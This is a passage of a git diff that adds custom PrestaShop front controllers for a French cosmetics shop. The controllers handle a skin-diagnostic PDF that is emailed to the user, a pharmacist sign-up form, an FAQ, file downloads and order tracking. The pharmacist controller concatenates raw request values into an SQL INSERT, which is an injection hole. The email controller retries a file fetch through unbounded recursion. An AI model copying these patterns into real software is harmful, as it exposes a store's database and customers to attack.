"; + // die(); + $this->categoryA = new Category(14, $this->context->language->id); + $this->nbProductsA = $this->categoryA->getProductsDiagnostic(null, null, null, $this->orderBy, $this->orderWay, true); + $this->pagination((int)$this->nbProductsA); + $this->categoryA->products = $this->categoryA->getProductsDiagnostic($this->context->language->id, 0, 100, $this->orderBy, $this->orderWay); + $this->categoryB = new Category(15, $this->context->language->id); + $this->nbProductsB = $this->categoryB->getProductsDiagnostic(null, null, null, $this->orderBy, $this->orderWay, true); + $this->pagination((int)$this->nbProductsB); + $this->categoryB->products = $this->categoryB->getProductsDiagnostic($this->context->language->id, 0, 100, $this->orderBy, $this->orderWay); + + $this->categoryC = new Category(16, $this->context->language->id); + $this->nbProductsC = $this->categoryC->getProductsDiagnostic(null, null, null, $this->orderBy, $this->orderWay, true); + $this->pagination((int)$this->nbProductsC); + $this->categoryC->products = $this->categoryC->getProductsDiagnostic($this->context->language->id, 0, 100, $this->orderBy, $this->orderWay); + $this->categoryD = new Category(17, $this->context->language->id); + $this->nbProductsD = $this->categoryD->getProductsDiagnostic(null, null, null, $this->orderBy, $this->orderWay, true); + $this->pagination((int)$this->nbProductsD); + $this->categoryD->products = $this->categoryD->getProductsDiagnostic($this->context->language->id, 0, 100, $this->orderBy, $this->orderWay); + + $productsExclusion=array(); + // if($products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + + $final_14=''; + $final_15=''; + $final_16=''; + $final_17=''; + // print_r($this->categoryA->products); + foreach($this->categoryA->products as $key => &$row){ + if(!in_array($row['id_product'],$produits_autorises14)){ + // echo "
".$row['id_product']." enlevé car bannis
"; + unset($this->categoryA->products[$key]); + } + else + if($final_14!="") + $final_14.=","; + $final_14.=$row['id_product']; + } + + foreach($this->categoryB->products as $key => &$row){ + if(!in_array($row['id_product'],$produits_autorises15)){ + // echo "
". $row['id_product']." enlevé car bannis"; + unset($this->categoryB->products[$key]); + } + else + if($final_15!="") + $final_15.=","; + $final_15.=$row['id_product']; + } + foreach($this->categoryC->products as $key => &$row){ + if(!in_array($row['id_product'],$produits_autorises16)){ + // echo "
". $row['id_product']." enlevé car bannis"; + unset($this->categoryC->products[$key]); + } + else + if($final_16!="") + $final_16.=","; + $final_16.=$row['id_product']; + } + foreach($this->categoryD->products as $key => &$row){ + if(!in_array($row['id_product'],$produits_autorises17)){ + // echo "
".$row['id_product']." enlevé car bannis"; + unset($this->categoryD->products[$key]); + } + else + if($final_17!="") + $final_17.=","; + $final_17.=$row['id_product']; + } + + // echo "
Produits finalement présent dans le Rituel 1 : "; + // print_r($this->categoryD->products); + // echo "
Produits finalement présent Rituel 2 : "; + // print_r($this->categoryB->products); + // echo "
Produits finalement présent Rituel 3 : "; + // print_r($this->categoryC->products); + // echo "
Produits finalement présent Rituel 4 : "; + // print_r($this->categoryD->products); + // die(); + $this->context->smarty->assign('categoryA', $this->categoryA); + $this->context->smarty->assign('categoryB', $this->categoryB); + $this->context->smarty->assign('categoryC', $this->categoryC); + $this->context->smarty->assign('categoryD', $this->categoryD); + if(Tools::getValue('succes')) + $this->context->smarty->assign('succes', 1); + + $this->context->cookie->final_14=$final_14; + $this->context->cookie->final_15=$final_15; + $this->context->cookie->final_16=$final_16; + $this->context->cookie->final_17=$final_17; + // print_r($final_17); + + } + public function initContent() + { + parent::initContent(); + + $id_lang = $this->context->language->id; + $this->assignReponses(); + + if($this->errors) + $this->context->smarty->assign('errors', $this->errors); + // self::$smarty->assign('HOOK_HOME', Module::hookExec('home')); + + // $cart_rules = CartRule::getCustomerCartRules($this->context->language->id, $this->context->customer->id, true, false); + // $nb_cart_rules = count($cart_rules); + + // $this->context->smarty->assign(array('nb_cart_rules' => (int)$nb_cart_rules, 'cart_rules' => $cart_rules, 'discount' => $cart_rules, 'nbDiscounts' => (int)$nb_cart_rules)); + $this->setTemplate(_PS_THEME_DIR_.'diagnostic.tpl'); + + } + + public function setMedia() + { + parent::setMedia(); + + $this->addJS(_THEME_JS_DIR_.'diagnostic.js'); + + $this->addCSS(_THEME_CSS_DIR_.'diagnostic.css'); + } +} + diff --git a/controllers/front/DiagnosticpdfController.php b/controllers/front/DiagnosticpdfController.php new file mode 100755 index 0000000..657e05b --- /dev/null +++ b/controllers/front/DiagnosticpdfController.php @@ -0,0 +1,55 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class DiagnosticpdfControllerCore extends FrontController +{ + protected $display_header = false; + protected $display_footer = false; + + public function postProcess() + { + + // print_r($this->context->cookie->final_14); + // die(); + if($this->context->cookie->final_14!=""){ + $this->Offredefidelite = new Offredefidelite(3); + // $this->Offredefidelite->template="Offredefidelite"; + // $this->template="Offredefidelite"; + if (!isset($this->Offredefidelite) || !Validate::isLoadedObject($this->Offredefidelite)) + die(Tools::displayError('not found.')); + + } + } + + public function display() + { + if($this->context->cookie->final_14!=""){ + $pdf = new PDF($this->Offredefidelite,'Diagnostic', $this->context->smarty); + $pdf->render(); + } + } +} + diff --git a/controllers/front/DiagnosticpdfemailController.php b/controllers/front/DiagnosticpdfemailController.php new file mode 100755 index 0000000..ae7d8e5 --- /dev/null +++ b/controllers/front/DiagnosticpdfemailController.php @@ -0,0 +1,106 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class DiagnosticpdfemailControllerCore extends FrontController +{ + protected $display_header = false; + protected $display_footer = false; + + public function postProcess() + { + + // print_r($this->context->cookie->final_14); + // die(); + if($this->context->cookie->final_14!=""){ + $this->Offredefidelite = new Offredefidelite(3); + $this->Offredefidelite->mktime=mktime(); + // $this->Offredefidelite->template="Offredefidelite"; + // $this->template="Offredefidelite"; + if (!isset($this->Offredefidelite) || !Validate::isLoadedObject($this->Offredefidelite)) + die(Tools::displayError('not found.')); + + } + } + public function attacher(){ + sleep(4); + // echo _PS_BASE_URL_.__PS_BASE_URI__.'upload/votre-diagnostic-Garancia-'.$this->Offredefidelite->mktime.'.pdf'; + // die(); + if(!$fileAttachment['content'] = file_get_contents(_PS_BASE_URL_.__PS_BASE_URI__.'upload/votre-diagnostic-Garancia-'.$this->Offredefidelite->mktime.'.pdf')) + $this->attacher(); + else{ + $fileAttachment['name'] = 'votre-diagnostic-Garancia-'.$this->Offredefidelite->mktime.'.pdf'; + $fileAttachment['mime'] = "application/pdf"; + $var_list['{attached_file_url}'] = _PS_BASE_URL_.__PS_BASE_URI__.'upload/votre-diagnostic-Garancia-'.$this->Offredefidelite->mktime.'.pdf'; + $var_list['{attached_file}'] = "Votre diagnostic"; + + $subject="Votre Diagnostic Garancia"; + + // print_r($fileAttachment); + // die(); + $from = trim(Tools::getValue('recevoir_from')); + if(!Mail::Send($this->context->language->id, 'diagnostic', $subject, $var_list, $from, null, null, null, $fileAttachment)) + Tools::redirect('diagnostic?step=7&error=badmail') ; + else + Tools::redirect('diagnostic?step=7&succes=1'); + } + } + public function display() + { + if($this->context->cookie->final_14!=""){ + + if(Tools::isSubmit('submitMail')){ + if (($from = trim(Tools::getValue('recevoir_from'))) && Validate::isEmail($from)){ + + $pdf = new PDF($this->Offredefidelite,'Diagnostic', $this->context->smarty); + $pdf->render('F'); + // echo "test"; + // die(); + $this->attacher(); + // $fileAttachment = null; + // $fileAttachment['content'] = file_get_contents(_PS_BASE_URL_.__PS_BASE_URI__.'upload/votre-diagnostic-Garancia-'.$this->Offredefidelite->mktime.'.pdf'); + // $fileAttachment['name'] = 'votre-diagnostic-Garancia-'.$this->Offredefidelite->mktime.'.pdf'; + // $fileAttachment['mime'] = "application/pdf"; + // $var_list['{attached_file_url}'] = _PS_BASE_URL_.__PS_BASE_URI__.'upload/votre-diagnostic-Garancia-'.$this->Offredefidelite->mktime.'.pdf'; + // $var_list['{attached_file}'] = "Votre diagnostic"; + + // $subject="Offre de fidélité"; + + // print_r($fileAttachment); + // die(); + // Mail::Send($this->context->language->id, 'diagnostic', $subject, $var_list, $from, null, null, null, $fileAttachment); + // Tools::redirect('diagnostic?step=7&succes=1'); + }else{ + // Tools::redirect('diagnostic?step=7&error=badmail') ; + } + } + // else + // $pdf = new PDF($this->Offredefidelite,'Diagnostic', $this->context->smarty); + // $pdf->render(); + // } + } + } +} + diff --git a/controllers/front/DiscountController.php b/controllers/front/DiscountController.php new file mode 100755 index 0000000..39a167a --- /dev/null +++ b/controllers/front/DiscountController.php @@ -0,0 +1,49 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class DiscountControllerCore extends FrontController +{ + public $auth = true; + public $php_self = 'discount'; + public $authRedirection = 'discount'; + public $ssl = true; + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $cart_rules = CartRule::getCustomerCartRules($this->context->language->id, $this->context->customer->id, true, false); + $nb_cart_rules = count($cart_rules); + + $this->context->smarty->assign(array('nb_cart_rules' => (int)$nb_cart_rules, 'cart_rules' => $cart_rules, 'discount' => $cart_rules, 'nbDiscounts' => (int)$nb_cart_rules)); + $this->setTemplate(_PS_THEME_DIR_.'discount.tpl'); + } +} + diff --git a/controllers/front/EspacepharmaciensController.php b/controllers/front/EspacepharmaciensController.php new file mode 100755 index 0000000..78d4791 --- /dev/null +++ b/controllers/front/EspacepharmaciensController.php @@ -0,0 +1,66 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class EspacepharmaciensControllerCore extends FrontController +{ + public $php_self = 'espacepharmaciens'; + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + + + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'espacepharmaciens.css'); + $this->addJS(_THEME_JS_DIR_.'espacepharmaciens.js'); + } + + public function initContent() + { + + // $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + // $this->context->smarty->assign('page',1); + if(Tools::getValue('espaceCIP') && Tools::getValue('espaceMail')){ + $espaceCIP=Tools::getValue('espaceCIP'); + $espaceMail=Tools::getValue('espaceMail'); + $sql='insert into ps_espacepharmaciens (id,cip,email) values (NULL,\''.$espaceCIP.'\',\''.$espaceMail.'\')'; + if($insert= Db::getInstance(_PS_USE_SQL_SLAVE_)->execute($sql)) + $this->context->smarty->assign('confirmAdd',1); + + + } + $this->setTemplate(_PS_THEME_DIR_.'espacepharmaciens.tpl'); + + parent::initContent(); + } +} diff --git a/controllers/front/FaqController.php b/controllers/front/FaqController.php new file mode 100755 index 0000000..14e88cf --- /dev/null +++ b/controllers/front/FaqController.php @@ -0,0 +1,112 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class FaqControllerCore extends FrontController +{ + public $php_self = 'faq'; + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + + + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'faq.css'); + $this->addJS(_THEME_JS_DIR_.'faq.js'); + } + + public function getItemsFaq($id_theme = null) + { + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id_devspefaq_item` as id_faq, + hss.`position`, + hss.`id_theme`, + hss.`active`, + hssl.`title`, + hssl.`description` + FROM '._DB_PREFIX_.'devspefaq hs + LEFT JOIN '._DB_PREFIX_.'devspefaq_item hss ON (hs.id_devspefaq_item = hss.id_devspefaq_item) + LEFT JOIN '._DB_PREFIX_.'devspefaq_item_lang hssl ON (hss.id_devspefaq_item = hssl.id_devspefaq_item) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang.' + AND hss.`active` = 1 + AND hss.`id_theme` = '.(int)$id_theme.' + ORDER BY hss.position'); + } + + public function getItemsTheme($id_faq_parent=0) + { + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`id_faq_theme` as id_theme, + hss.`position`, + hss.`active`, + hss.`id_faq_parent`, + hssl.`title` + FROM '._DB_PREFIX_.'devspefaq_theme hss + LEFT JOIN '._DB_PREFIX_.'devspefaq_theme_lang hssl ON (hss.id_faq_theme = hssl.id_faq_theme) + WHERE hssl.id_lang = '.(int)$id_lang.' + AND id_faq_parent='.$id_faq_parent.' + AND hss.`active` = 1 + ORDER BY hss.position'); + } + public function generationFAQ() + { + $faqParents=$this->getItemsTheme(0); + foreach($faqParents as &$row){ + $row['children']=$this->getItemsTheme($row['id_theme']); + foreach($row['children'] as &$row2){ + $row2['items']=$this->getItemsFaq($row2['id_theme']); + } + if($row['id_theme']!=0) + $row['items']=$this->getItemsFaq($row['id_theme']); + } + return $faqParents; + } + + + public function initContent() + { + + // $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + $this->context->smarty->assign('generationFAQ',$this->generationFAQ()); + + $this->setTemplate(_PS_THEME_DIR_.'faq.tpl'); + + parent::initContent(); + } +} diff --git a/controllers/front/GetFileController.php b/controllers/front/GetFileController.php new file mode 100755 index 0000000..44dcd8f --- /dev/null +++ b/controllers/front/GetFileController.php @@ -0,0 +1,311 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class GetFileControllerCore extends FrontController +{ + protected $display_header = false; + protected $display_footer = false; + + public function init() + { + if (isset($this->context->employee) && $this->context->employee->isLoggedBack() && Tools::getValue('file')) + { + // Admin can directly access to file + $filename = Tools::getValue('file'); + if (!Validate::isSha1($filename)) + die(Tools::displayError()); + $file = _PS_DOWNLOAD_DIR_.strval(preg_replace('/\.{2,}/', '.', $filename)); + $filename = ProductDownload::getFilenameFromFilename(Tools::getValue('file')); + if (empty($filename)) + { + $newFileName = Tools::getValue('filename'); + if (!empty($newFileName)) + $filename = Tools::getValue('filename'); + else + $filename = 'file'; + } + + if (!file_exists($file)) + Tools::redirect('index.php'); + } + else + { + if (!($key = Tools::getValue('key'))) + $this->displayCustomError('Invalid key.'); + + Tools::setCookieLanguage(); + if (!$this->context->customer->isLogged() && !Tools::getValue('secure_key') && !Tools::getValue('id_order')) + Tools::redirect('index.php?controller=authentication&back=get-file.php&key='.$key); + else if (!$this->context->customer->isLogged() && Tools::getValue('secure_key') && Tools::getValue('id_order')) + { + $order = new Order((int)Tools::getValue('id_order')); + if (!Validate::isLoadedObject($order)) + $this->displayCustomError('Invalid key.'); + if ($order->secure_key != Tools::getValue('secure_key')) + $this->displayCustomError('Invalid key.'); + } + + /* Key format: - */ + $tmp = explode('-', $key); + if (count($tmp) != 2) + $this->displayCustomError('Invalid key.'); + + $filename = $tmp[0]; + $hash = $tmp[1]; + + if (!($info = OrderDetail::getDownloadFromHash($hash))) + $this->displayCustomError('This product does not exist in our store.'); + + /* Product no more present in catalog */ + if (!isset($info['id_product_download']) || empty($info['id_product_download'])) + $this->displayCustomError('This product has been deleted.'); + + if (!file_exists(_PS_DOWNLOAD_DIR_.$filename)) + $this->displayCustomError('This file no longer exists.'); + + if (isset($info['product_quantity_refunded']) && isset($info['product_quantity_return']) && + ($info['product_quantity_refunded'] > 0 || $info['product_quantity_return'] > 0)) + $this->displayCustomError('This product has been refunded.'); + + $now = time(); + + $product_deadline = strtotime($info['download_deadline']); + if ($now > $product_deadline && $info['download_deadline'] != '0000-00-00 00:00:00') + $this->displayCustomError('The product deadline is in the past.'); + + $customer_deadline = strtotime($info['date_expiration']); + if ($now > $customer_deadline && $info['date_expiration'] != '0000-00-00 00:00:00') + $this->displayCustomError('Expiration date has passed, you cannot download this product'); + + if ($info['download_nb'] >= $info['nb_downloadable'] && $info['nb_downloadable']) + $this->displayCustomError('You have reached the maximum number of allowed downloads.'); + + /* Access is authorized -> increment download value for the customer */ + OrderDetail::incrementDownload($info['id_order_detail']); + + $file = _PS_DOWNLOAD_DIR_.$info['filename']; + $filename = $info['display_filename']; + } + + /* Detect mime content type */ + $mimeType = false; + if (function_exists('finfo_open')) + { + $finfo = @finfo_open(FILEINFO_MIME); + $mimeType = @finfo_file($finfo, $file); + @finfo_close($finfo); + } + else if (function_exists('mime_content_type')) + $mimeType = @mime_content_type($file); + else if (function_exists('exec')) + { + $mimeType = trim(@exec('file -b --mime-type '.escapeshellarg($file))); + if (!$mimeType) + $mimeType = trim(@exec('file --mime '.escapeshellarg($file))); + if (!$mimeType) + $mimeType = trim(@exec('file -bi '.escapeshellarg($file))); + } + + if (empty($mimeType)) + { + $bName = basename($filename); + $bName = explode('.', $bName); + $bName = strtolower($bName[count($bName) - 1]); + + $mimeTypes = array( + 'ez' => 'application/andrew-inset', + 'hqx' => 'application/mac-binhex40', + 'cpt' => 'application/mac-compactpro', + 'doc' => 'application/msword', + 'oda' => 'application/oda', + 'pdf' => 'application/pdf', + 'ai' => 'application/postscript', + 'eps' => 'application/postscript', + 'ps' => 'application/postscript', + 'smi' => 'application/smil', + 'smil' => 'application/smil', + 'wbxml' => 'application/vnd.wap.wbxml', + 'wmlc' => 'application/vnd.wap.wmlc', + 'wmlsc' => 'application/vnd.wap.wmlscriptc', + 'bcpio' => 'application/x-bcpio', + 'vcd' => 'application/x-cdlink', + 'pgn' => 'application/x-chess-pgn', + 'cpio' => 'application/x-cpio', + 'csh' => 'application/x-csh', + 'dcr' => 'application/x-director', + 'dir' => 'application/x-director', + 'dxr' => 'application/x-director', + 'dvi' => 'application/x-dvi', + 'spl' => 'application/x-futuresplash', + 'gtar' => 'application/x-gtar', + 'hdf' => 'application/x-hdf', + 'js' => 'application/x-javascript', + 'skp' => 'application/x-koan', + 'skd' => 'application/x-koan', + 'skt' => 'application/x-koan', + 'skm' => 'application/x-koan', + 'latex' => 'application/x-latex', + 'nc' => 'application/x-netcdf', + 'cdf' => 'application/x-netcdf', + 'sh' => 'application/x-sh', + 'shar' => 'application/x-shar', + 'swf' => 'application/x-shockwave-flash', + 'sit' => 'application/x-stuffit', + 'sv4cpio' => 'application/x-sv4cpio', + 'sv4crc' => 'application/x-sv4crc', + 'tar' => 'application/x-tar', + 'tcl' => 'application/x-tcl', + 'tex' => 'application/x-tex', + 'texinfo' => 'application/x-texinfo', + 'texi' => 'application/x-texinfo', + 't' => 'application/x-troff', + 'tr' => 'application/x-troff', + 'roff' => 'application/x-troff', + 'man' => 'application/x-troff-man', + 'me' => 'application/x-troff-me', + 'ms' => 'application/x-troff-ms', + 'ustar' => 'application/x-ustar', + 'src' => 'application/x-wais-source', + 'xhtml' => 'application/xhtml+xml', + 'xht' => 'application/xhtml+xml', + 'zip' => 'application/zip', + 'au' => 'audio/basic', + 'snd' => 'audio/basic', + 'mid' => 'audio/midi', + 'midi' => 'audio/midi', + 'kar' => 'audio/midi', + 'mpga' => 'audio/mpeg', + 'mp2' => 'audio/mpeg', + 'mp3' => 'audio/mpeg', + 'aif' => 'audio/x-aiff', + 'aiff' => 'audio/x-aiff', + 'aifc' => 'audio/x-aiff', + 'm3u' => 'audio/x-mpegurl', + 'ram' => 'audio/x-pn-realaudio', + 'rm' => 'audio/x-pn-realaudio', + 'rpm' => 'audio/x-pn-realaudio-plugin', + 'ra' => 'audio/x-realaudio', + 'wav' => 'audio/x-wav', + 'pdb' => 'chemical/x-pdb', + 'xyz' => 'chemical/x-xyz', + 'bmp' => 'image/bmp', + 'gif' => 'image/gif', + 'ief' => 'image/ief', + 'jpeg' => 'image/jpeg', + 'jpg' => 'image/jpeg', + 'jpe' => 'image/jpeg', + 'png' => 'image/png', + 'tiff' => 'image/tiff', + 'tif' => 'image/tif', + 'djvu' => 'image/vnd.djvu', + 'djv' => 'image/vnd.djvu', + 'wbmp' => 'image/vnd.wap.wbmp', + 'ras' => 'image/x-cmu-raster', + 'pnm' => 'image/x-portable-anymap', + 'pbm' => 'image/x-portable-bitmap', + 'pgm' => 'image/x-portable-graymap', + 'ppm' => 'image/x-portable-pixmap', + 'rgb' => 'image/x-rgb', + 'xbm' => 'image/x-xbitmap', + 'xpm' => 'image/x-xpixmap', + 'xwd' => 'image/x-windowdump', + 'igs' => 'model/iges', + 'iges' => 'model/iges', + 'msh' => 'model/mesh', + 'mesh' => 'model/mesh', + 'silo' => 'model/mesh', + 'wrl' => 'model/vrml', + 'vrml' => 'model/vrml', + 'css' => 'text/css', + 'html' => 'text/html', + 'htm' => 'text/html', + 'asc' => 'text/plain', + 'txt' => 'text/plain', + 'rtx' => 'text/richtext', + 'rtf' => 'text/rtf', + 'sgml' => 'text/sgml', + 'sgm' => 'text/sgml', + 'tsv' => 'text/tab-seperated-values', + 'wml' => 'text/vnd.wap.wml', + 'wmls' => 'text/vnd.wap.wmlscript', + 'etx' => 'text/x-setext', + 'xml' => 'text/xml', + 'xsl' => 'text/xml', + 'mpeg' => 'video/mpeg', + 'mpg' => 'video/mpeg', + 'mpe' => 'video/mpeg', + 'qt' => 'video/quicktime', + 'mov' => 'video/quicktime', + 'mxu' => 'video/vnd.mpegurl', + 'avi' => 'video/x-msvideo', + 'movie' => 'video/x-sgi-movie', + 'ice' => 'x-conference-xcooltalk'); + + if (isset($mimeTypes[$bName])) + $mimeType = $mimeTypes[$bName]; + else + $mimeType = 'application/octet-stream'; + } + + /* Set headers for download */ + header('Content-Transfer-Encoding: binary'); + header('Content-Type: '.$mimeType); + header('Content-Length: '.filesize($file)); + header('Content-Disposition: attachment; filename="'.$filename.'"'); + ob_end_flush(); + $fp = fopen($file, 'rb'); + while (!feof($fp)) + echo fgets($fp, 16384); + + exit; + } + + /** + * Display an error message with js + * and redirect using js function + */ + protected function displayCustomError($msg) + { + $translations = array( + 'Invalid key.' => Tools::displayError('Invalid key.'), + 'This product does not exist in our store.' => Tools::displayError('This product does not exist in our store.'), + 'This product has been deleted.' => Tools::displayError('This product has been deleted.'), + 'This file no longer exists.' => Tools::displayError('This file no longer exists.'), + 'This product has been refunded.' => Tools::displayError('This product has been refunded.'), + 'The product deadline is in the past.' => Tools::displayError('The product deadline is in the past.'), + 'Expiration date exceeded' => Tools::displayError('The product expiration date has passed, preventing you from download this product.'), + 'You have reached the maximum number of allowed downloads.' => Tools::displayError('You have reached the maximum number of downloads allowed.')); + ?> + + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class GuestTrackingControllerCore extends FrontController +{ + public $ssl = true; + public $php_self = 'guest-tracking'; + + /** + * Initialize guest tracking controller + * @see FrontController::init() + */ + public function init() + { + $this->display_column_left = false; + parent::init(); + if ($this->context->customer->isLogged()) + Tools::redirect('history.php'); + } + + /** + * Start forms process + * @see FrontController::postProcess() + */ + public function postProcess() + { + if (Tools::isSubmit('submitGuestTracking') || Tools::isSubmit('submitTransformGuestToCustomer')) + { + // These lines are here for retrocompatibility with old theme + $id_order = Tools::getValue('id_order'); + $order_collection = array(); + if ($id_order) + { + if (is_numeric($id_order)) + { + $order = new Order((int)$id_order); + if (Validate::isLoadedObject($order)) + $order_collection[] = $order; + } + else + $order_collection = Order::getByReference($id_order); + } + + // Get order reference, ignore package reference (after the #, on the order reference) + $order_reference = current(explode('#', Tools::getValue('order_reference'))); + // Ignore $result_number + if (!empty($order_reference)) + $order_collection = Order::getByReference($order_reference); + + $email = Tools::getValue('email'); + + if (empty($order_reference) && empty($id_order)) + $this->errors[] = Tools::displayError('Please provide your order\'s reference number.'); + else if (empty($email)) + $this->errors[] = Tools::displayError('Please provide a valid email address.'); + else if (!Validate::isEmail($email)) + $this->errors[] = Tools::displayError('Please provide a valid email address.'); + else if (!Customer::customerExists($email, false, false)) + $this->errors[] = Tools::displayError('There is no account associated with this email address.'); + else if (Customer::customerExists($email, false, true)) + { + $this->errors[] = Tools::displayError('Your guest account has already been transformed into a customer account.').' '. + Tools::displayError('Please login to your customer account to view this order. This section is reserved for guest accounts.'); + $this->context->smarty->assign('show_login_link', true); + } + else if (!count($order_collection)) + $this->errors[] = Tools::displayError('Invalid order reference'); + else if (!$order_collection->getFirst()->isAssociatedAtGuest($email)) + $this->errors[] = Tools::displayError('Invalid order reference'); + else + { + $this->assignOrderTracking($order_collection); + if (Tools::isSubmit('submitTransformGuestToCustomer')) + { + $customer = new Customer((int)$order->id_customer); + if (!Validate::isLoadedObject($customer)) + $this->errors[] = Tools::displayError('Invalid customer'); + else if (!Tools::getValue('password')) + $this->errors[] = Tools::displayError('Invalid password.'); + else if (!$customer->transformToCustomer($this->context->language->id, Tools::getValue('password'))) + // @todo clarify error message + $this->errors[] = Tools::displayError('An error occurred while transforming a guest into a registered customer.'); + else + $this->context->smarty->assign('transformSuccess', true); + } + } + } + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + /* Handle brute force attacks */ + if (count($this->errors)) + sleep(1); + + $this->context->smarty->assign(array( + 'action' => $this->context->link->getPageLink('guest-tracking.php', true), + 'errors' => $this->errors, + )); + $this->setTemplate(_PS_THEME_DIR_.'guest-tracking.tpl'); + } + + /** + * Assign template vars related to order tracking informations + */ + protected function assignOrderTracking($order_collection) + { + $customer = new Customer((int)$order_collection->getFirst()->id_customer); + + $order_collection = ($order_collection->getAll()); + + $order_list = array(); + foreach ($order_collection as $order) + $order_list[] = $order; + + foreach ($order_list as &$order) + { + $order->id_order_state = (int)$order->getCurrentState(); + $order->invoice = (OrderState::invoiceAvailable((int)$order->id_order_state) && $order->invoice_number); + $order->order_history = $order->getHistory((int)$this->context->language->id, false, true); + $order->carrier = new Carrier((int)$order->id_carrier, (int)$order->id_lang); + $order->address_invoice = new Address((int)$order->id_address_invoice); + $order->address_delivery = new Address((int)$order->id_address_delivery); + $order->inv_adr_fields = AddressFormat::getOrderedAddressFields($order->address_invoice->id_country); + $order->dlv_adr_fields = AddressFormat::getOrderedAddressFields($order->address_delivery->id_country); + $order->invoiceAddressFormatedValues = AddressFormat::getFormattedAddressFieldsValues($order->address_invoice, $order->inv_adr_fields); + $order->deliveryAddressFormatedValues = AddressFormat::getFormattedAddressFieldsValues($order->address_delivery, $order->dlv_adr_fields); + $order->currency = new Currency($order->id_currency); + $order->discounts = $order->getCartRules(); + $order->invoiceState = (Validate::isLoadedObject($order->address_invoice) && $order->address_invoice->id_state) ? new State((int)$order->address_invoice->id_state) : false; + $order->deliveryState = (Validate::isLoadedObject($order->address_delivery) && $order->address_delivery->id_state) ? new State((int)$order->address_delivery->id_state) : false; + $order->products = $order->getProducts(); + $order->customizedDatas = Product::getAllCustomizedDatas((int)$order->id_cart); + Product::addCustomizationPrice($order->products, $order->customizedDatas); + $order->total_old = ($order->total_discounts > 0) ? (float)($order->total_paid - $order->total_discounts) : false; + + if ($order->carrier->url && $order->shipping_number) + $order->followup = str_replace('@', $order->shipping_number, $order->carrier->url); + $order->hook_orderdetaildisplayed = Hook::exec('displayOrderDetail', array('order' => $order)); + + Hook::exec('actionOrderDetail', array('carrier' => $order->carrier, 'order' => $order)); + } + + $this->context->smarty->assign(array( + 'shop_name' => Configuration::get('PS_SHOP_NAME'), + 'order_collection' => $order_list, + 'return_allowed' => false, + 'invoiceAllowed' => (int)Configuration::get('PS_INVOICE'), + 'is_guest' => true, + 'group_use_tax' => (Group::getPriceDisplayMethod($customer->id_default_group) == PS_TAX_INC), + 'CUSTOMIZE_FILE' => _CUSTOMIZE_FILE_, + 'CUSTOMIZE_TEXTFIELD' => _CUSTOMIZE_TEXTFIELD_, + 'use_tax' => Configuration::get('PS_TAX'), + )); + } + + public function setMedia() + { + parent::setMedia(); + + $this->addCSS(_THEME_CSS_DIR_.'history.css'); + $this->addCSS(_THEME_CSS_DIR_.'addresses.css'); + } + + protected function processAddressFormat(Address $delivery, Address $invoice) + { + $inv_adr_fields = AddressFormat::getOrderedAddressFields($invoice->id_country, false, true); + $dlv_adr_fields = AddressFormat::getOrderedAddressFields($delivery->id_country, false, true); + + $this->context->smarty->assign('inv_adr_fields', $inv_adr_fields); + $this->context->smarty->assign('dlv_adr_fields', $dlv_adr_fields); + + } +} diff --git a/controllers/front/HistoryController.php b/controllers/front/HistoryController.php new file mode 100755 index 0000000..952e0d0 --- /dev/null +++ b/controllers/front/HistoryController.php @@ -0,0 +1,70 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class HistoryControllerCore extends FrontController +{ + public $auth = true; + public $php_self = 'history'; + public $authRedirection = 'history'; + public $ssl = true; + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'history.css'); + $this->addCSS(_THEME_CSS_DIR_.'addresses.css'); + $this->addJqueryPlugin('scrollTo'); + $this->addJS(array( + _THEME_JS_DIR_.'history.js', + _THEME_JS_DIR_.'tools.js') + ); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + if ($orders = Order::getCustomerOrders($this->context->customer->id)) + foreach ($orders as &$order) + { + $myOrder = new Order((int)$order['id_order']); + if (Validate::isLoadedObject($myOrder)) + $order['virtual'] = $myOrder->isVirtual(false); + } + $this->context->smarty->assign(array( + 'orders' => $orders, + 'invoiceAllowed' => (int)(Configuration::get('PS_INVOICE')), + 